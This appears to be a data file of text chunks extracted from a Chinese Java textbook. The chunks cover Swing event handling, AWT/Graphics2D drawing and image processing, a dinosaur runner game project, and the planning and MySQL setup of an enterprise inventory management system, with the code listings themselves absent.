    {"text": "23.9 实践与练习 1. 利用本章学习的知识开发一个简单的应用程序，要注意对分割面板、选项卡面板、菜单、工具栏、文件选择器、进度条、系统托盘和桌面集成控件的使用。"},
    {"text": "（答案位置：\\TM\\sl\\23.15） 第24章 高级事件处理 本章将讲解一些常用高级事件的处理方法，包括键盘事件、鼠标事件、窗体事件、选项事件和表格模型事件。"},
    {"text": "通过阅读本章，您可以： 学会处理键盘事件 学会处理鼠标事件 学会处理窗体焦点变化、状态变化等事件 学会处理选项事件 学会处理表格模型事件 24.1 键盘事件 当向文本框中输入内容时，将发生键盘事件。"},
    {"text": "KeyEvent类负责捕获键盘事件，可以通过为组件添加实现了KeyListener接口的监听器类来处理相应的键盘事件。 KeyListener接口共有3个抽象方法，分别在发生击键事件、按键被按下和按键被释放时被触发。 KeyListener接口的具体定义如下： 在每个抽象方法中均传入了KeyEvent类的对象，KeyEvent类中比较常用的方法如表24.1所示。 表24.1 KeyEvent类中的常用方法 技巧 在KeyEvent类中以“VK_”开头的静态常量代表各个按键的keyCode，可以通过这些静态常量判断事件中的按键，获得按键的标签。"},
    {"text": "关键代码如下： 运行本实例，首先输入小写字母“m”，然后输入一个空格，接下来输入大写字母“M”，再按Shift键，最后按F5键，在控制台将得到如图24.1所示的信息。"},
    {"text": "图24.1 键盘事件 24.2 鼠标事件 所有组件都能发生鼠标事件，MouseEvent类负责捕获鼠标事件，可以通过为组件添加实现了MouseListener接口的监听器类来处理相应的鼠标事件。 MouseListener接口共有5个抽象方法，分别在光标移入或移出组件、鼠标按键被按下或释放和发生单击事件时被触发。"},
    {"text": "表24.2 MouseEvent类中的常用方法 当需要判断触发此次事件的按键时，可以通过表24.3中的静态常量判断由getButton()方法返回的int型值代表的键。 表24.3 MouseEvent类中代表鼠标按键的静态常量 【例24.2】一个用来演示鼠标事件的典型示例。 （实例位置：\\TM\\sl\\24.02） 本例演示了捕获和处理鼠标事件的方法，尤其是鼠标事件监听器接口MouseListener中各个方法的使用方法。"},
    {"text": "关键代码如下： 运行本实例，首先将光标移入窗体，然后单击鼠标左键，接着双击鼠标左键，最后将光标移出窗体，在控制台将得到如图24.2所示的信息。"},
    {"text": "24.3.1 捕获窗体焦点变化事件 有时需要捕获窗体焦点发生变化的事件，如窗体获得或失去焦点，可以通过实现了WindowFocusListener接口的事件监听器完成。 WindowFocusListener接口的具体定义如下： 通过捕获窗体获得或失去焦点的事件，可以进行一些相关的操作。"},
    {"text": "下面是一个用来演示捕获窗体焦点变化事件的典型实例。 【例24.3】本例演示了捕获和处理窗体焦点变化事件的方法，尤其是窗体焦点事件监听器接口WindowFocusListener中各个方法的使用方法。"},
    {"text": "图24.3 捕获窗体焦点变化事件 24.3.2 捕获窗体状态变化事件 有时需要捕获窗体状态发生变化的事件，如窗体由正常化变为最小化、由最大化变为正常化等，可以通过实现了WindowStateListener接口的事件监听器完成。"},
    {"text": "WindowEvent类中有以下两个常用方法，用来获得窗体的状态，它们均返回一个代表窗体状态的int型值。 getNewState()：用来获得窗体现在的状态。 getOldState()：用来获得窗体以前的状态。"},
    {"text": "可以通过Frame类中的静态常量判断返回的int型值具体代表什么状态，这些静态常量如表24.4所示。 表24.4 Frame类中代表窗体状态的静态常量 下面是一个用来演示捕获窗体状态变化事件的典型示例。"},
    {"text": "完整代码如下： （实例位置：\\TM\\sl\\24.04） 运行本实例，首先将窗体最小化后再恢复正常化，然后将窗体最大化后再最小化，最后将窗体最大化后再恢复正常化，在控制台将得到如图24.4所示的信息。"},
    {"text": "图24.4 捕获窗体状态变化事件 24.3.3 捕获其他窗体事件 需要捕获其他与窗体有关的事件时，如捕获窗体被打开、将要被关闭、已经被关闭等事件时，可以通过实现了WindowListener接口的事件监听器完成。 WindowListener接口的具体定义如下： 通过捕获窗体将要被关闭等事件，可以进行一些相关的操作，例如，窗体将要被关闭时，询问是否保存未保存的设置等。"},
    {"text": "完整代码如下： （实例位置：\\TM\\sl\\24.05） 运行本实例，首先令窗体失去焦点后再得到焦点，然后将窗体最小化后再恢复为正常化，最后关闭窗体，在控制台将得到如图24.5所示的信息。"},
    {"text": "ItemEvent类负责捕获选项事件，通过为组件添加实现了ItemListener接口的监听器类，可以处理相应的选项事件。 ItemListener接口只有一个抽象方法，在修改一次下拉菜单选中项的过程中，该方法将被触发两次：一次是由取消原来选中项的选中状态触发的；"},
    {"text": "getItem()：用来获得触发此次事件的选项，该方法的返回值为Object型。 getStateChange()：用来获得此次事件的类型，即是由取消原来选中项的选中状态触发的，还是由选中新选项触发的。 方法getStateChange()将返回一个int型值，可以通过ItemEvent类中如下静态常量判断此次事件的具体类型。 SELECTED：如果返回值等于该静态常量，说明此次事件是由选中新选项触发的。 DESELECTED：如果返回值等于该静态常量，说明此次事件是由取消原来选中项的选中状态触发的。"},
    {"text": "首先将选中项由“选项1”改为“选项2”，然后将选中项由“选项2”改为“选项2”，最后将选中项由“选项2”改为“选项5”，将得到如图24.7所示的信息。 图24.6 运行效果 图24.7 选项事件 注意 选中项未发生变化时，不会触发选项事件。"},
    {"text": "TableModelEvent类负责捕获表格模型事件，通过为组件添加实现了TableModelListener接口的监听器类，可以处理相应的表格模型事件。 TableModelListener接口只有一个抽象方法，当向表格模型中添加行，或修改、删除表格模型中的现有行时，该方法将被触发。 TableModelListener接口的具体定义如下： 在抽象方法tableChanged()中传入了TableModelEvent类的对象，TableModelEvent类中比较常用的方法如表24.5所示。 表24.5 TableModelEvent类中的常用方法 getType ()方法将返回一个int型值，可以通过TableModelEvent类中的如下静态常量判断此次事件的具体类型。"},
    {"text": "INSERT：如果返回值等于该静态常量，说明此次事件是由插入行触发的。 UPDATE：如果返回值等于该静态常量，说明此次事件是由修改行触发的。 DELETE：如果返回值等于该静态常量，说明此次事件是由删除行触发的。"},
    {"text": "首先向表格中添加一行，然后依次双击值为A2和B4的单元格对其进行修改，最后分别选中表格的第4行和第3行执行删除，将得到如图24.9所示的信息。"},
    {"text": "图24.8 表格模型事件示例 图24.9 测试后控制台信息 24.6 小结 通过对本章的学习，相信读者已经可以熟练地处理一些高级事件，包括键盘事件、鼠标事件、窗体事件、选项事件和表格模型事件。"},
    {"text": "AWT绘图是Java程序开发不可缺少的技术，使用这些技术可以为程序提供数据统计、图表分析等功能，还可以为程序搭配音效，提高程序的交互能力。"},
    {"text": "本章将介绍Java绘图技术的基础知识及图像处理技术。 通过阅读本章，您可以： 了解Java的绘图类 掌握基本图形的绘制方法 掌握绘图颜色和笔画属性的设置 学会绘制文字和设置字体 学会绘制图片 掌握常用的图像处理技术 25.1 Java绘图 绘图是高级程序设计中非常重要的技术。"},
    {"text": "25.1.1 Graphics Graphics类是所有图形上下文的抽象基类，它允许应用程序在组件以及闭屏图像上进行绘制。 Graphics类封装了Java支持的基本绘图操作所需的状态信息，主要包括颜色、字体、画笔、文本、图像等。 Graphics类提供了绘图常用的方法，利用这些方法可以实现直线、矩形、多边形、椭圆、圆弧等形状和文本、图片的绘制操作。"},
    {"text": "25.1.2 Graphics2D 使用Graphics类可以完成简单的图形绘制任务，但是它所实现的功能非常有限，如无法改变线条的粗细、不能对图片使用旋转和模糊等过滤效果。 Graphics2D继承Graphics类，实现了功能更加强大的绘图操作的集合。 由于Graphics2D类是Graphics类的扩展，也是推荐使用的Java绘图类，所以本章主要介绍如何使用Graphics2D类实现Java绘图。 说明 Graphics2D是推荐使用的绘图类，但是程序设计中提供的绘图对象大多是Graphics类的实例对象，这时应该使用强制类型转换将其转换为Graphics2D类型。 例如： public void paint(Graphics g) { Graphics2D g2 = (Graphics2D) g; //强制类型转换为Graphics2D类型 g2.… } 25.2 绘制图形 Java可以分别使用Graphics和Graphics2D绘制图形，Graphics类使用不同的方法实现不同图形的绘制，例如，drawLine()方法可以绘制直线，drawRect()方法用于绘制矩形，drawOval()方法用于绘制椭圆形等。"},
    {"text": "【例25.1】在项目中创建DrawCircle类，使该类继承JFrame类成为窗体组件，在类中创建继承JPanel类的DrawPanel内部类，并重写paint()方法，绘制由5个圆形组成的图案。"},
    {"text": "表25.1 Graphics类常用的图形绘制方法 Graphics2D是继承Graphics类编写的，它包含了Graphics类的绘图方法并添加了更强的功能，在创建绘图类时推荐使用该类。 Graphics2D可以分别使用不同的类来表示不同的形状，如Line2D、Rectangle2D等。"},
    {"text": "然后使用Graphics2D类的draw()方法绘制该图形对象，或者使用fill()方法填充该图形对象。 语法如下： draw(Shape form) 或 fill(Shape form) 其中，form是指实现Shape接口的对象。"},
    {"text": "在不同图形类中有Double和Float两个实现类，这两个实现类以不同精度构建图形对象。 为方便计算，在程序开发中经常使用Double类的实例对象进行图形绘制，但是如果程序中要使用成千上万个图形，则建议使用Float类的实例对象进行绘制，这样会节省内存空间。"},
    {"text": "表25.2 常用的Color常量 绘图类可以使用setColor()方法设置当前颜色。 语法如下： setColor(Color color) 其中，参数color是Color对象，代表一个颜色值，如红色、黄色或默认的黑色。 【例25.3】设置当前绘图颜色为红色。 说明 设置好绘图颜色以后，再进行绘图或者绘制文本，系统会采用该颜色作为前景色； 如果此时想绘制其他颜色的图形或文本，则需要再次调用setColor()方法设置其他颜色。"},
    {"text": "25.3.2 画笔属性 默认情况下，Graphics绘图类使用的画笔属性是粗细为1个像素的正方形，而Java2D的Graphics2D类可以调用setStroke()方法设置画笔的属性，如改变线条的粗细、虚实，定义线段端点的形状、风格等。"},
    {"text": "语法如下： setStroke(Stroke stroke) 其中，参数stroke是Stroke接口的实现类。 setStroke()方法必须接受一个Stroke接口的实现类作参数，java.awt包中提供了BasicStroke类，它实现了Stroke接口，并且通过不同的构造方法创建画笔属性不同的对象。"},
    {"text": "BasicStroke(float width)。 BasicStroke(float width, int cap, int join)。 BasicStroke(float width, int cap, int join, float miterlimit)。 BasicStroke(float width, int cap, int join, float miterlimit, float[] dash, float dash_phase)。"},
    {"text": "join参数用于修饰线段交会效果，可以使用JOIN_BEVEL、JOIN_MITER和JOIN_ROUND常量，效果如图25.4所示。 图25.3 cap参数对线端点的装饰效果 图25.4 join参数修饰线段交会的效果 25.4 绘制文本 Java绘图类也可以用来绘制文本内容，且可以在绘制前设置字体的样式、大小等。"},
    {"text": "25.4.1 设置字体 Java使用Font类封装了字体的大小、样式等属性，该类在java.awt包中定义，其构造方法可以指定字体的名称、大小和样式3个属性。 语法如下： Font(String name, int style, int size) name：字体的名称。 style：字体的样式。 size：字体的大小。"},
    {"text": "图25.6 在窗体中绘制文本 25.5 绘制图片 绘图类不仅可以绘制图形和文本，还可以使用drawImage()方法将图片资源显示到绘图上下文中，而且可以实现各种特效处理，如图片的缩放、翻转等。"},
    {"text": "图25.7 显示图片的窗体 25.6 图像处理 开发高级的桌面应用程序，必须掌握一些图像处理与动画制作的技术，如在程序中显示统计图、销售趋势图、动态按钮等。"},
    {"text": "25.6.1 放大与缩小 在25.5节讲解绘制图片时，使用了drawImage()方法将图片以原始大小显示在窗体中，要想实现图片的放大与缩小，则需要使用它的重载方法。"},
    {"text": "语法如下： drawImage(Image img, int x, int y, int width, int height, ImageObserver observer) 该方法将img图片显示在x、y指定的位置上，并指定图片的宽度和高度属性。"},
    {"text": "表25.5 参数说明 【例25.6】在窗体中显示原始大小的图片，然后通过两个按钮的单击事件，分别显示该图片缩小与放大后的效果。 关键代码如下： （实例位置：\\TM\\sl\\25.05） 程序运行之后，拖动滑块实现图像缩小和放大的效果如图25.8所示。"},
    {"text": "语法如下： drawImage(Image img, int dx1, int dy1, int dx2, int dy2, int sx1, int sy1, int sx2, int sy2, ImageObserver observer) 此方法总是用非缩放的图像来呈现缩放的矩形，并动态地执行所需的缩放。"},
    {"text": "执行图像从源到目标的缩放，要将源矩形的第一个坐标映射到目标矩形的第一个坐标，源矩形的第二个坐标映射到目标矩形的第二个坐标，按需要缩放和翻转子图像，以保持这些映射关系。"},
    {"text": "程序中drawImage()方法使用的参数名称与语法中介绍的相同，MyCanvas类只是在paint()方法中按照参数顺序执行drawImage()方法，图片的翻转由控制按钮变换参数值，然后执行MyCanvas类的repaint()方法实现。"},
    {"text": "图25.9 源图、水平翻转和垂直翻转的效果 25.6.3 图像旋转 图像旋转需要调用Graphics2D类的rotate()方法，该方法将根据指定的弧度旋转图像。"},
    {"text": "说明 rotate()方法只接受旋转的弧度作为参数，可以使用Math类的toRadians()方法将角度转换为弧度。 toRadians()方法接受角度值作为参数，返回值是转换完毕的弧度值。"},
    {"text": "其中，有关绘图和图像处理技术的介绍比较详细，主要包括基本图形绘制、设置绘图颜色与笔画属性、绘制文本、绘制图片以及图像的缩放、翻转、倾斜、旋转等处理技术。 通过对本章的学习，读者应该掌握基本绘图技术和图像处理技术。"},
    {"text": "（答案位置：\\TM\\sl\\25.10） 2. 使用不同的颜色、不同的笔画属性绘制五环图形，并在五环图下显示年、月、日，文字要求使用宋体，大小为14。"},
    {"text": "（答案位置：\\TM\\sl\\25.12） 第4篇 项目实战 本篇通过一个小型的横版游戏和一个大型、完整的企业进销存管理系统，运用软件工程的设计思想，让读者学习如何进行软件项目的实践开发。"},
    {"text": "书中按照“编写项目计划书→系统设计→数据库设计→创建项目→实现项目→运行项目→解决开发常见问题”的过程进行介绍，带领读者一步一步地体验项目开发的全过程。"},
    {"text": "通过阅读本章，您可以： 学会使用线程实现动画效果 学会使用AWT绘制游戏画面 学会使用Rectangle类实现碰撞检测 学会使用javax.sound包实现播放声音 26.1 开发背景 Google浏览器内含了一个小彩蛋：当网络无法连接时，浏览器界面中会出现一个小恐龙图标，如图26.1所示。"},
    {"text": "26.2 系统结构设计 26.2.1 系统功能结构 游戏功能结构图如图26.3所示。 图26.3 功能结构图 26.2.2 系统业务流程 游戏业务流程图如图26.4所示。 图26.4 业务流程图 26.3 项目目录结构预览 程序的目录结构图如图26.5所示。"},
    {"text": "1. 定义 Dinosaur类的成员属性绝大多数都是私有属性，只有少数公有属性用于游戏面板绘图使用，例如主图片和横纵坐标。 Dinosaur类的私有属性包含3张来回切换的跑步图片（如图26.6所示）、最大跳起高度、落地时的坐标以及各种状态布尔值和计时器等。"},
    {"text": "图26.6 恐龙奔跑图片 Dinosaur类的定义如下所示： 在Dinosaur类的构造方法中将恐龙的横坐标固定在50像素的位置，纵坐标采用落地时的坐标。"},
    {"text": "step()方法就是踏步动作的方法，因为Dinosaur类中定义了3张跑步的图片，所以在该方法中使用stepTimer计时器属性记录已过的毫秒数，每1/4秒就更换一张跑步图片。"},
    {"text": "当程序调用jump()方法时，该方法会更改恐龙的jumpState跳跃状态属性，也就是让恐龙处于跳跃状态，跳跃状态下的移动则交由move()实现。 如果恐龙在非跳跃状态下触发jump()方法，跳跃的同时也会播放跳跃音效。 jump()方法的具体代码如下： 4. 移动 move()是恐龙移动方法，该方法将恐龙的所有动作效果封装起来，然后交由游戏面板调用。 每一帧画面都会执行一次恐龙的move()方法。"},
    {"text": "move()方法会判断恐龙是否处于跳跃状态，如果处于跳跃状态，并且恐龙站在地上，就让jumpValue跳跃增变量值变为-4，让恐龙的纵坐标不断与jumpValue相加，纵坐标值越来越小，这样恐龙的图片位置就会越来越高。 当恐龙纵坐标达到跳跃最大高度时，再让jumpValue的值变为4，纵坐标值越来越大，恐龙的图片就会越来越低。"},
    {"text": "getFootBounds()方法用于获取恐龙的头部边界对象，该方法的具体代码如下： getHeadBounds()方法用于获取恐龙的脚部边界对象，该方法的具体代码如下： 26.4.2 障碍类 游戏中的障碍有两种，一种是很矮的石头，如图26.7所示，另一种是很高的仙人掌，如图26.8所示。"},
    {"text": "1. 定义 项目中的com.mr.modle.Obstacle类就是障碍类，该类提供了三个公有属性，分别是横坐标、纵坐标和图片对象，其他属性均为私有属性。"},
    {"text": "具体代码如下： 2. 移动 Obstacle类中的move()方法可以让障碍在游戏画面中移动，且移动速度与背景图片的移动速度相同。 move()方法的具体代码如下： 3. 消除 当障碍移动出游戏画面之后，就不会再对游戏产生任何影响。"},
    {"text": "isLive()方法用于获取障碍的有效状态，该方法会根据障碍所处的位置返回true或flase，只有当该方法返回true时，才会让障碍对象参与碰撞检测，否则会将障碍对象从障碍集合中删除。 isLive()的具体代码如下： 4. 边界对象 障碍的边界对象用于做碰撞检测计算。"},
    {"text": "不管是石头还是仙人掌，都需要通过getBounds()方法返回边界对象，该方法的具体代码如下： 26.5 音效模块设计 声音是一款游戏的重要组成元素，配合游戏画面而触发各种音效，会让玩家有更好的游戏体验。"},
    {"text": "因为音频处理功能是JDK早期版本就有的，并且一直没有更新，所以目前JDK支持播放的音乐格式非常少。 JDK支持的具体音乐格式可以参考javax.sound.sampled.AudioFileFormat.Type类。"},
    {"text": "构造方法抛出找不到文件异常，外部类创建MusicPlayer类对象时，必须捕捉此异常。 MusicPlayer类构造方法的具体代码如下： MusicPlayer类要实现Runnable接口，必须先实现run()方法。 在run()方法中声明了一个128K的缓冲区字节数组，程序以不断循环的方式将音乐文件以音频输入流格式读入缓冲区，再把缓冲区的数据写入混音器源数据行中，这样就可以不断地向外部音频设备发送音频信号，实现播放音乐的效果。 run()方法的具体代码如下： 现在只要将MusicPlayer类放入线程中，就可以播放音乐。"},
    {"text": "计分器使用一个静态的整型数组记录有史以来前三名的成绩，当玩家打破记录时，计分器会立即更新数组中的数据。 ScoreRecorder类有两个属性，一个是成绩记录文件的文件名，另一个是记录前三名的整形数组。 ScoreRecorder类的定义如下： 在使用ScoreRecorder类之前，需要先调用该类的静态方法init()。 init()方法可以让计分器从成绩记录文件中读取到历史前三名数据。"},
    {"text": "saveScore()方法可以将当前成绩数组中的值写入到成绩记录文件中。 saveScore()方法的具体代码如下： addNewScore()方法用于向成绩数组中添加新成绩，该方法的score参数就是要添加的新成绩数值。"},
    {"text": "假设数组中的值为{4,9,2}，现向数组末尾位置插入数字7，经过Arrays.sort()升序排列后数组的值变为{2,4,7,9}，最后通过Arrays.copyOfRange()取出数组中后三个值，这三个值就是最新的历史前三名记录。 图26.9 自动排列新分数的原理图 addNewScore()方法的具体代码如下所示： 因为成绩数组是私有属性，游戏要想获得当前记录的前三名成绩，必须通过getScores()方法获取。"},
    {"text": "MainFrame类的构造方法的具体代码如下： 构造方法中调用的restart()方法就是让游戏重新开始的方法，也可以用于第一次启动游戏。 在restart()方法中，首先获取了窗体的主容器对象，然后删除容器中的所有组件，最后创建一个新的游戏面板对象并添加到容器中，同时添加主窗体的键盘事件。"},
    {"text": "restart()方法的具体代码如下： 构造方法中调用的addListener()方法用于让主窗体添加键盘监听以外的监听事件，游戏中主要用于在关闭窗口之前保存最新的得分记录。"},
    {"text": "游戏界面会按照（默认）20毫秒一次的刷新频率实现游戏帧数的刷新，这样不仅可以让界面中的元素运动起来，也可以让各个元素在运动的过程中进行逻辑的运算。"},
    {"text": "游戏采用双缓冲机制防止界面闪烁，image对象就是缓冲图片对象，也可以成为主图片对象，所有的游戏画面都绘制在image对象中，然后再将image对象绘制到游戏面板中。"},
    {"text": "paintImage()方法的具体代码如下： paint()方法是父类javax.swing.JComponent提供绘制组件的方法，每次绘制组建的时候先执行paintImage()方法，然后再将主图片绘制到面板中。"},
    {"text": "gameOver()方法的具体代码如下： isFinish()方法用于判断游戏是否结束，该方法会提供给FreshThread刷新帧线程类调用，FreshThread线程会根据游戏的运行状态绘制不同的内容。 isFinish()方法的具体代码如下： 26.7.3 成绩对话框 成绩对话框会在游戏结束的时候弹出，对话框中会显示目前为止记录的前三名成绩，单击对话框底部的按钮会重新开始游戏。"},
    {"text": "图26.12 成绩对话框中列出前三名的成绩 项目中的com.mr.view.ScoreDialog就是成绩对话框类，该类继承JDialog对话框类。 ScoreDialog类中有一个构造方法，构造方法参数为对话框的父窗体。 构造方法第一行调用了父类的构造方法，通过父类构造方法阻塞父窗体，这样可以保证弹出成绩对话框之后，主窗体内会停止全部功能且不可选中。"},
    {"text": "帧的刷新频率决定了画面中的动作是否流畅，例如电影在正常情况下是24帧，也就是影片一秒钟会闪过24幅静态的画面。 想让游戏中的物体运动起来，就需要让游戏画面不断地刷新，像播放电影一样，这就是刷新帧的概念。"},
    {"text": "项目中的com.mr.service.FreshThead就是游戏中的刷新帧线程类，该类继承于Thread线程类，并在线程的主方法中无限地循环，每过20毫秒就执行游戏面板的repaint()方法，每次执行repaint()方法前都会先执行用户输入的指令，这样每次绘制的画面就会都不一样，极短时间内切换画面就形成了动画效果。"},
    {"text": "游戏面板的isFinish()方法返回false，就代表游戏结束，当前线程才会停止。 当刷新帧的业务停止后，程序会获取加载游戏面板的主窗体对象，然后弹出成绩对话框，最后让主窗体对象重新开始新游戏。"},
    {"text": "FreshThead类的具体代码如下： 26.8.2 滚动背景 横版过关游戏的特点是游戏地图远大于屏幕区域，当游戏角色移动时，场景也会跟着角色一起移动。"},
    {"text": "当图片1移动出游戏画面之后，通过修改图片1的坐标让图片1回到图片2的末尾，然后再让两张图片继续互相衔接着向左移动，如图26.15所示。"},
    {"text": "图26.13 开始时图片1在前，图片2在后 图26.14 两张图片同时向左移动 图26.15 当图片1移出游戏画面时会立刻回到图片2之后继续向左移动 项目中com.mr.view.BackgroundImage类就是滚动背景类，该类中的image属性就是滚动背景用于展示的图片。 image图片是由两个私有属性image1和image2拼接出来的，image1和image2会随着游戏时间的推移而不断向左移动。 BackgroundImage类的定义如下： 在BackgroundImage类的构造方法中，将image图片设定为和游戏面板一样宽高的彩色图片，同时定义了image1和image2的初始坐标。 BackgroundImage类的构造方法的具体代码如下： roll()方法就是让背景持续滚动的方法，该方法交由游戏面板调用，每一帧都会让背景滚动一次。 roll()中只需让image1和image2的横坐标不断递减，当任何一张图片移动出游戏画面之后，则立即回到右侧的初始位置，准备下一轮的滚动。"},
    {"text": "roll()方法的具体代码如下： 26.8.3 碰撞检测 java.awt.Rectangle类提供了intersects(Rectangle r)方法来判断两个边界是否发生了交汇。"},
    {"text": "当两个边界对象发生交汇时，如图26.16所示，intersects()方法的返回结果为true； 当两个边界对象没有交汇时，如图26.17所示，intersects()方法的返回结果为false。"},
    {"text": "图26.16 两个边界对象发生交汇 图26.17 两个边界对象没有交汇 程序为恐龙和水管都设定了边界，只要任何一个边界发生交汇，则认为恐龙撞到了障碍。 因为恐龙的图像是不规则图形，所以需要设定多个边界区域，游戏将恐龙的头部和脚部作为碰撞的区域，头部和脚部的边界如图26.18所示。"},
    {"text": "图26.18 恐龙的头部和脚部边界 图26.19 石头的边界 图26.20 仙人掌的边界 在GamePanel游戏面板类的paintImage()方法中，绘制完每个障碍后，会判断刚刚绘制的障碍对象是否碰到了恐龙的头或脚。"},
    {"text": "第27章 企业进销存管理系统 进销存管理系统是促进企业发展的重要组成部分，是商业企业经营管理中的核心环节，也是一家企业能否取得效益的关键，如果能够做到合理采购、及时销售、库存量最小、减少积压，那么企业就能取得最佳的经济效益。"},
    {"text": "在现代社会中，大多数企事业单位，特别是中小型企业，实现信息化管理是首要任务。 只有实现信息化管理，才能提高工作效率和企业的管理水平。 市场经济快速多变，竞争激烈，企业采用信息化管理进货、库存、销售等诸多环节，也已成为必然趋势。"},
    {"text": "本章将使用Java Swing技术和MySQL数据库开发跨平台的企业进销存管理系统，该系统是典型的MIS（管理信息系统），主要包括创建并维护后台数据库和前端应用程序的开发两个方面。 通过阅读本章，您可以： 学会使用JDBC技术操作MySQL数据库 学会使用Swing技术的高级布局管理器 学会实现数据库的备份与恢复 学会使用Swing菜单栏与工具栏 学会使用Desktop类实现系统资源的关联 掌握内部窗体的各种操作 27.1 系统分析 本节将对企业进销存管理系统进行系统的分析，其中包括需求分析和可行性分析。"},
    {"text": "27.1.1 需求分析 企业进销存管理系统的主要工作是对企业的进货、销售和库存以信息化的方式进行管理，最大限度地减少各个环节中可能出现的错误，有效减少盲目采购、降低采购成本、合理控制库存、减少资金占用并提高市场灵敏度，使企业能够合理安排进、销、存的每个关键步骤，提升企业市场竞争力。 针对经营管理中存在的问题，吉林省铭泰××有限公司对产品的进销存合理化提出了更高的要求（概括地讲，用户对进销存系统的需求具有普遍性）。 通过实际调查，要求企业进销存管理系统具有以下功能： 界面设计美观大方，操作方便、快捷、灵活。"},
    {"text": "27.1.2 可行性分析 根据《计算机软件文档编制规范》（GB/T 8567－2006）中可行性分析的要求，制定可行性研究报告如下。 1. 引言 （1）编写目的 为了给软件开发企业的决策层提供是否进行项目实施的参考依据，现以文件的形式分析项目的风险、项目需要的投资与效益。"},
    {"text": "（2）背景 吉林省铭泰××有限公司是一家以商品推广为主的商业企业，为了更好地管理进货、销售和库存，现需要委托其他公司开发一个企业进销存管理系统，项目名称为“铭泰企业进销存管理系统”。"},
    {"text": "（2）目标 铭泰企业进销存管理系统的主要目标是提供强大的进销存管理功能，减少盲目采购、降低采购成本、合理控制库存、减少资金占用并提高市场灵敏度。"},
    {"text": "（3）评价尺度 项目需要在两个月内交付用户使用，系统分析人员需要3天内到位，用户需要5天时间确认需求分析文档，除去其中可能出现的问题，如用户可能临时有事，占用7天时间确认需求分析，那么程序开发人员需要在50天的时间内进行系统设计、程序编码、系统测试、程序调试和系统打包部署工作，其间还包括了员工每周的休息时间。"},
    {"text": "项目的安装、调试以及用户培训、员工出差等费用支出需要2.5万元； 在项目后期维护阶段预计需要投入2万元的资金，累计项目投入需要13.5万元资金。 （2）收益 客户提供项目开发资金30万元，对于项目后期进行的改动，采取协商的原则，根据改动规模额外提供资金。"},
    {"text": "27.1.3 编写项目计划书 根据《计算机软件文档编制规范》（GB/T 8567－2006）中的项目开发计划要求，结合单位实际情况，编写项目计划书如下。 1. 引言 （1）编写目的 为了保证项目开发人员能更好地了解项目实际情况，按照合理的顺序开展工作，按时保质地完成预定目标，现以书面的形式将项目开发生命周期中的项目任务范围、项目团队组织结构、团队成员的工作责任、团队内外沟通协作方式、开发进度、检查项目工作等内容描述出来，作为项目相关人员之间的共识和约定以及项目生命周期内所有项目活动的行动基础。"},
    {"text": "（2）背景 铭泰企业进销存管理系统是本公司与吉林省铭泰××有限公司签订的待开发项目，项目性质为进销存管理类型，可以方便企业对进货、销售和库存等环节进行管理，及时对库存进行盘点、价格调整、数据备份和恢复等操作。"},
    {"text": "项目背景规划如表27.1所示。 表27.1 项目背景规划 2. 概述 （1）项目目标 项目应当符合SMART原则，把项目要完成的工作用清晰的语言描述出来。"},
    {"text": "铭泰企业进销存管理系统的主要目标是为企业提供一套能够方便地对企业商品的进货、销售、库存等进行管理的软件。 （2）应交付成果 项目开发完成后，交付的内容如下： 以光盘的形式提供铭泰企业进销存管理系统源程序、系统数据库文件、系统打包文件和系统使用说明书。"},
    {"text": "（3）项目开发环境 开发本项目所用的操作系统可以是Windows 2000 Server、Windows Server 2003、Windows 7、Linux的各种版本、MAC等平台，开发工具为Eclipse 3.7，数据库采用MySQL 5.6。"},
    {"text": "（4）项目验收方式与依据 项目验收分为内部验收和外部验收两种方式。 项目开发完成后，首先进行内部验收，由测试人员根据用户需求和项目目标进行验收。 项目在通过内部验收后，交给客户进行外部验收，验收的主要依据为需求规格说明书。"},
    {"text": "3. 项目团队组织 （1）组织结构 本公司针对该项目组建了一个由公司副经理、项目经理、系统分析员、软件工程师、网页设计师和测试人员组成的开发团队，开发团队结构如图27.1所示。 图27.1 项目开发团队结构 （2）人员分工 为了明确项目团队中每个人的任务分工，现制定人员分工表，如表27.2所示。"},
    {"text": "表27.2 人员分工表 27.2 系统设计 27.2.1 系统目标 根据企业对进销存管理的要求，制定企业进销存管理系统目标如下： 灵活的人机交互界面，操作简单方便，界面简洁美观。"},
    {"text": "27.2.2 系统功能结构 铭泰企业进销存管理系统的功能结构如图27.2所示。 图27.2 铭泰企业进销存管理系统的功能结构 27.2.3 系统业务流程图 铭泰企业进销存管理系统的业务流程如图27.3所示。 图27.3 铭泰企业进销存管理系统的业务流程 27.2.4 系统编码规范 开发企业应用程序需要团队合作，每个人负责不同的业务模块，为了使程序的结构与代码风格统一标准化，增加代码可读性，需要在编码之前制定一套统一的编码规范。 下面介绍铭泰企业进销存管理系统开发中的编码规范。"},
    {"text": "考虑到进销存数据量的庞大和安全性的保障，本系统决定采用MySQL数据库系统作为进销存管理的后台数据库，数据库名称为db_database28，其中包含了14张数据表和2个视图，详细信息如图27.4所示。 图27.4 铭泰企业进销存管理系统中用到的数据表和视图 27.4.2 创建数据库 数据库是企业进销存管理系统的数据集合，是系统开发的首要环节。"},
    {"text": "本系统的数据库名称为db_database28。 在MySQL中创建db_database28数据库的具体步骤如下： （1）选择“开始”/“所有程序”/MySQL/MySQL Server 5.6/MySQL 5.6 Command Line Client命令，如图27.5所示。"},
    {"text": "图27.5 选择MySQL 5.6 Command Line Client 图27.6 登录MySQL （3）登录成功之后，运行命令“CREATE DATABASE db_database28;”即可创建数据库，如图27.7所示。 图27.7 运行创建数据库的命令 27.4.3 创建数据表 在已经创建的数据库db_database28中创建14个数据表。"},
    {"text": "（1）执行“use db_database28”命令，进入db_database28库，如图27.8所示。 图27.8 进入指定的库中 （2）在控制台窗口中运行脚本创建表，如图27.9所示。 图27.9 在新建表中添加字段 由于篇幅有限，其他数据表的创建过程这里就不介绍了，读者可以结合下面给出的数据表结构，创建其他的数据表。"},
